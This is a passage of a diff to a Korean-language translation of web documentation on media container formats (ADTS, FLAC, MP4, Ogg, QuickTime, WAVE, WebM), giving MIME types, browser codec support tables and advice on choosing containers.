+<p><a id="adts-foot-1" name="adts-foot-1">[1]</a> The MIME type used for ADTS depends on what kind of audio frames are contained within. If ADTS frames are used, the <code>audio/aac</code> MIME type should be used. If the audio frames are in MPEG-1/MPEG-2 Audio Layer I, II, or III format, the MIME type should be <code>audio/mpeg</code>.</p>
+
+<table class="standard-table">
+ <caption>ADTS가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#adts-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-aud-footnote-1" name="adts-aud-footnote-1">[1]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="FLAC">FLAC</h3>
+
+<p><strong>Free Lossless Audio Codec</strong> (<strong>FLAC</strong>)은 무손실 오디오 코덱입니다; 이 코덱을 담을 수 있는 컨테이너 역시 FLAC이라 부릅니다. 이 포맷은 어느 특허에도 묶여있지 않아 자유롭게 사용할 수 있습니다. FLAC 파일은 FLAC 오디오 데이터만 담을 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>FLAC media MIME type</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/flac</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>FLAC이 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEGMPEG-2"><a id="MPEG" name="MPEG">MPEG</a>/MPEG-2</h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-1")}}과</strong> <strong>{{interwiki("wikipedia", "MPEG-2")}}</strong>은 근본적으로 동일합니다. the Moving Picture Experts Group (MPEG)에서 만들었으며 DVD 등의 물리적 매체에서 널리 쓰이고 있습니다.</p>
+
+<p>인터넷에서 아마 가장 많이 사용되는 MPEG 파일 포맷은 {{interwiki("wikipedia", "MPEG-1", "Layer_III/MP3", "MPEG-1 Audio Layer 3")}} 일 겁니다; MP3 파일은 전 세계의 디지털 오디오 장치에서 널리 재생되고 있습니다. 반대로 MPEG-1, MPEG-2는 웹에서 별로 사용하고 있지 않죠.</p>
+
+<p>MPEG-1과 MPEG-2 간의 차이점은 컨테이너 포맷이 아니라 미디어 데이터 포맷에 있습니다. MPEG-1은 1992년 소개되었으며; MPEG-2는 1996년에 소개되었습니다.</p>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2 media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mpeg</code></td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2가 지원하는 비디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1과 MPEG-2가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer I</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer II</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-4_MP4"><a id="MP4" name="MP4">MPEG-4 (MP4)</a></h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-4")}}</strong> (<strong>MP4</strong>) 는 최신 MPEG 파일 포맷입니다. 파트 1과 14 스펙에서 정의된 두 가지 버전의 포맷이 있습니다. MP4는 오늘날 유명한 컨테이너 포맷으로 많이 쓰이는 코덱을 지원하며 널리 사용되고 있습니다.</p>
+
+<p>최초의 MPEG-4 Part 1 포맷은 1999년 발표되었습니다; Part 14에서 정의된 버전 2 포맷은 2003년 추가되었습니다. MP4 파일 포맷은 <a href="https://www.apple.com/">Apple</a>이 개발한 {{interwiki("wikipedia", "QuickTime file format")}}에서 파생된 {{interwiki("wikipedia", "ISO base media file format")}}에서 다시 파생되었습니다.</p>
+
+<p>MPEG-4 미디어 타입을 표기할 때 (<code>audio/mp4</code> or <code>video/mp4</code>), MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>기본 MPEG-4 media MIME 타입</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mp4</code></td>
+   <td><code>video/mp4</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>위는 MPEG-4 미디어 컨테이너의 기본 타입입니다; 어떤 코덱을 쓰느냐에 따라 MIME 타입도 달라질 수 있습니다. 또한 MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4가 지원하는 비디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AV1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-vid-footnote-1" name="mp4-vid-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<p><a id="mp4-vid-footnote-2" name="mp4-vid-footnote-2">[2]</a> Firefox support for AV1 is currently disabled by default; it can be enabled by setting the preference <code>media.av1.enabled</code> to <code>true</code>.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-aud-footnote-1" name="mp4-aud-footnote-1">[1]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="Ogg">Ogg</h3>
+
+<p><strong>{{interwiki("wikipedia", "Ogg")}}는 </strong><a href="https://www.xiph.org/">Xiph.org Foundation</a>이 운영하는 자유 오픈 컨테이너 포맷입니다. Theora, Vorbis, and Opus등의 Ogg 프레임워크는 특허에 얽매이지 않게 정의되었습니다. 재단 웹사이트에서 <a href="https://xiph.org/ogg/">Xiph.org documents about the Ogg format</a>를 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>기본 Ogg media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td><code>video/ogg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#Ogg"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 트랙의 미디어 포맷에 대한 추가 정보도 기입할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>Ogg가 지원하는 비디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Theora</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Ogg가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="QuickTime">QuickTime</h3>
+
+<p><strong>QuickTime</strong> 파일 포맷(<strong>QTFF</strong>, <strong>QT</strong>, <strong>MOV</strong>) 는 동일한 이름의 미디어 프레임워크에서 사용하기 위해 애플이 개발했습니다. 확장자 <code>.mov</code>는 최초 영화에서 쓰이기 위해  개발되었다는 의미에서 지어졌으며 보통 "QuickTime movie" 포맷이라 불립니다. QTFF가 MPEG-4 파일 포맷에 기반하였지만 두 포맷에는 분명한 차이점이 있으며 상호 호환되지 않습니다.</p>
+
+<p>QuickTime 파일은 오디오, 비디오 텍스트 트랙 등 시간축을 가지는 다수의 데이터 타입을 지원합니다. QuickTime 파일은 원래 macOS에서 사용하기 위해 개발되었지만 수 년이 지나면서 윈도우즈 환경에서는 QuickTime for Windows를 통해 사용할 수 있게 되었습니다. 그러나 2016년 초부터 애플은 더 이상 QuickTime for Windows를 유지 보수하지 않으며 알려진 보안 취약점으로 인해 <em>사용해선 안됩니다</em>. 하지만 Windows Media Player 가 현재 QuickTime version 2.0 및 이전 버전을 지원하며; 이후 버전의 QuickTime은 서드파티 플러그인을 통해 지원합니다.</p>
+
+<p>Mac OS에서 QuickTime 프레임워크는 QuickTime 포맷의 영상 파일 및 코덱 뿐만아니라 널리 쓰이는 오디오/비디오 코덱 상당 수를 지원합니다. 정지 화상 이미지 포맷도 포함해서요. (QuickTime 플러그인이 설치되었거나 QuickTime과 바로 연동된 브라우저를 포함 한)맥 애플리케이션은 QuickTime을 통해서 ACC, AIFF, MP#, PCM, Qualcomm PureVoice 등의 오디오 포맷과 AVI, DV, Pixlet, ProRes, FLAC, Cinepak, 3GP, H.261 through H.265, MJPEG, MPEG-1, MPEG-4 Part 2, Sorenson 등 수 많은 비디오 포맷을 읽고 쓸 수 있습니다.</p>
+
+<p>추가적인 코덱을 지원하기 위해 QuickTime에 다수의 서드파티 컴포넌트를 설치할 수도 있습니다.</p>
+
+<p>QuickTime은 처음부터 지금까지 근본적으로 애플 디바이스에서 사용하기 위해 만들어졌기 때문에 인터넷 환경에서 널리 쓰이고 있지는 않습니다. 애플 스스로도 현재는 MP4 비디오를 사용하고 있구요. 게다가 QuickTime 프레임워크마저 deprecated되면서 macOS 10.15 Catalina부터는 사용이 불가능해졌습니다.</p>
+
+<table class="standard-table">
+ <caption>Base QuickTime media MIME type</caption>
+ <thead>
+  <tr>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>video/quicktime</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>video/quicktime</code> 은 QuickTime 미디어 컨테이너의 기본 MIME 타입입니다. QuickTime (Mac OS의 미디어 프레임워크)이 다양한 컨테이너와 코덱을 지원하므로 다른 많은 MIME 타입 역시 지원합니다.</p>
+
+<p>MIME 타입에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 사용하는 오디오/비디오 코덱을 명시할 수 있으며 추가적으로 profile, level, 코덱 설정 등을 명기할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>QuickTime이 지원하는 비디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Cinepak</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Component Video</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">DV</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.261</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Motion JPEG</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 3</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>QuickTime이 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ALaw 2:1</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Apple Lossless (ALAC)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Microsoft ADPCM</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law 2:1 (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WAVE_WAV"><a id="WAVE" name="WAVE">WAVE</a> (WAV)</h3>
+
+<p>Waveform Audio File Format (WAVE)는 보통 줄여서 WAV라 불리며 <code>.wav</code> 확장자를 갖습니다. 오디오 비트스트림 데이터를 담기 위해 Microsoft와 IBM이 개발했습니다. 대부분의 WAV 파일은 linear PCM 포맷의 오디오 데이터를 담고 있습니다.</p>
+
+<p>이 파일 포맷은 Resource Interchange File Format (RIFF)에서 파생되었으며 애플의 AIFF 같은 다른 파생 형식와 유사합니다..</p>
+
+<p>WAVE 포맷은 1991년 처음 발표되었습니다.</p>
+
+<table class="standard-table">
+ <caption>WAVE media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-pn-wav</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>WAVE가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">ADPCM (Adaptive Differential Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">GSM 06.10</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">LPCM (Linear Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WebM">WebM</h3>
+
+<p><strong>{{interwiki("wikipedia", "WebM")}}</strong> (Web Media)는 {{interwiki("wikipedia", "Matroska")}}에 기반하여 현대 웹 환경에서 사용하기 위해 디자인되었습니다. 특정 제품들은 WebM 컨테이너에 다른 코덱을 사용하기도 하지만 기본적으로는 무료 오픈 코덱을 사용하여 완전한 자유-오픈 기술을 지향하고 있습니다.</p>
+
+<p>WebM은 2010년 처음 소개되었습니다..</p>
+
+<table class="standard-table">
+ <caption>WebM media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td><code>video/webm</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>WebM이 지원하는 비디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AV1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#av1-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP:9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-vid-footnote-1" name="av1-vid-footnote-1">[1]</a> Firefox support for AV1 is currently disabled by default; it can be enabled by setting the preference <code>media.av1.enabled</code> to <code>true</code>.</p>
+
+<p><a id="av1-vid-footnote-2" name="av1-vid-footnote-2">[2]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<table class="standard-table">
+ <caption>WebM이 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="알맞은_컨테이너_선택하기">알맞은 컨테이너 선택하기</h2>
+
+<p>여러분의 미디어 데이터에 알맞은 컨테이너를 선택하고 사용하기 위해서 몇 가지 고려해야 할 점들이 있습니다. 상대적으로 어떤 점이 더 중요한지는 요구사항이나 라이선스, 호환성, 타겟 고객 등에 따라 달라질 수 있습니다.</p>
+
+<h3 id="가이드라인">가이드라인</h3>
+
+<p>최선책 역시 미디어 데이터로 무엇을 하느냐에 달렸습니다. 미디어를 녹화/편집하는 것은 재생과 전혀 다른 이야기입니다. 최소한 노이즈 축적이라도 방지하려고 무손실 압축을 사용하면 매번 재 압축할 때 마다 압축 데이터가 누적되므로 미디어 데이터를 처리할때는 압축하지 않은 데이터를 사용하는게 퍼포먼스가 좋습니다.</p>
+
+<ul>
+ <li>저사양 단말 또는 저속 네트워크를 사용하는 고객을 대상으로 하고 있다면 3GP 컨테이너와 적절한 압축 코덱을 고려해 볼 수 있습니다.</li>
+ <li>인코딩시 필수 사항이 있다면 컨테이너 선택 시 적절한 코덱을 지원하는 지 확인해야 합니다.</li>
+ <li>미디어가 상용이 아니며 오픈 포맷일 경우 FLAC(오디오), WebM(비디오) 등의 오픈 컨테이너 포맷을 고려해 보세요.</li>
+ <li>어떠한 이유로 미디어를 한가지 포맷으로 제공해야 한다면 많은 디바이스와 브라우저에 널리 쓰여지는 MP3(오디오), MP4(비디오, 오디오)등의 포맷을 선택하세요.</li>
+ <li>미디어가 오디오만 있다면 오디오 전용 컨테이너를 사용하는게 합당합니다. 현재는 특허가 모두 만료되어 널리 쓰여지는 MP3가 좋은 선택입니다. WAVE도 좋지만 비압축이므로 대용량 오디오 샘플의 경우에는 사용을 주의하세요. 모든 타겟 브라우저가 지원한다면 무손실 압축을 지원하는 FLAC이 최선입니다.</li>
+</ul>
+
+<p>슬픈 일이지만 주요 무손실 압축 포맷 (FLAC, ALAC) 모두 폭넓게 지원되고 있지 않습니다. 둘 중에 FLAC이 그나마 낫지만 macOS에서는 추가적인 소프트웨어 설치 없이는 지원을 안합니다. iOS에서는 아예 불가능하구요. 무손실 오디오를 플랫폼에 무관하게 제공하려면 FLAC과 ALAC 둘 다 지원해야 합니다.</p>
+
+<h3 id="컨테이너_선택_가이드">컨테이너 선택 가이드</h3>
+
+<p>아래의 테이블은 다양한 시나리오에서 사용할 컨테이너에 대한 권고안입니다. 이는 추천일 뿐이며 컨테이너 포맷을 선택할 때에는 여러분의 제품이나 기관의 상황을 고려하여 선택하세요.</p>
+
+<h4 id="오디오_전용_파일">오디오 전용 파일</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">만약에...</th>
+   <th scope="col">추천 컨테이너 포맷</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>일반 재생 목적으로 압축 파일 사용</td>
+   <td>MP3 (MPEG-1 Audio Layer III)</td>
+  </tr>
+  <tr>
+   <td>무손실 압축 파일</td>
+   <td>FLAC with ALAC fallback</td>
+  </tr>
+  <tr>
+   <td>무압축 파일</td>
+   <td>WAV</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이제는 MP3 특허가 모두 만료되었으므로 오디오 파일 선택은 별로 어려운 문제가 아닙니다. 폭넓게 쓰이는 MP3를 사용하면서 특허료를 내야 하느냐에 대한 고민을 할 필요가 없죠.</p>
+
+<h4 id="비디오_파일">비디오 파일</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">만약에...</th>
+   <th scope="col">추천 컨테이너 포맷</th>
+  </tr>
+  <tr>
+   <td>가능한 오픈 포맷을 사용한 일반 비디오</td>
+   <td>WebM (MP4 호환 추가)</td>
+  </tr>
+  <tr>
+   <td>일반 비디오</td>
+   <td>MP4 (WebM, Ogg 호환 추가)</td>
+  </tr>
+  <tr>
+   <td>저속 네트워크상의 고효율 압축</td>
+   <td>3GP (MP4 호환 추가)</td>
+  </tr>
+  <tr>
+   <td>구형 단말/브라우저 지원</td>
+   <td>QuickTime (AVI, MPEG-2 호환 추가)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>몇 가지 가정 하의 권고입니다. 최종 결정 전에 여러가지를 따져보아야 하며 인코딩 해야 할 미디어가 많은 경우 특히나 심사숙고해야 합니다.</p>
+
+<h2 id="다양한_컨테이너간_호환성_극대화">다양한 컨테이너간 호환성 극대화</h2>
+
